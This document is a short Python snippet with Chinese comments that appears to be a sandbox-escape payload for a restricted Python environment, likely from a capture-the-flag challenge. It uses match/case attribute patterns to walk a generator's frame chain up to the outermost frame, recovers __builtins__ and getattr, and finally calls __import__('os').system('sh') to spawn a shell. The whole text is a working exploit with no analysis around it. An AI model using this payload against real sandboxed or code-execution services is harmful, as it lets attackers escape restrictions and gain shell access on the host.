def f(): global x, frame # frame = x.gi_frame match x: case object(gi_frame=val): frame = val # while frame.f_back: # 向上回溯到最外层 # frame = frame.f_back tmp = frame while tmp: frame = tmp match frame: case object(f_back=val): tmp = val yield x = f() # x.send(None) match x: case object(send=val): val(None) # builtins = frame.f_globals['__builtins__'] match frame: # type: ignore 防止 Pylance 报错,因为 frame 是动态生成的 case object(f_globals=val): builtins = val['__builtins__'] # getattr = builtins.getattr # 恢复 getattr 方法,从而避免直接访问 __import__ 属性 match builtins: case object(getattr=val): myGetattr = val myGetattr(myGetattr(builtins, '__import__')('os'),('system'))('sh')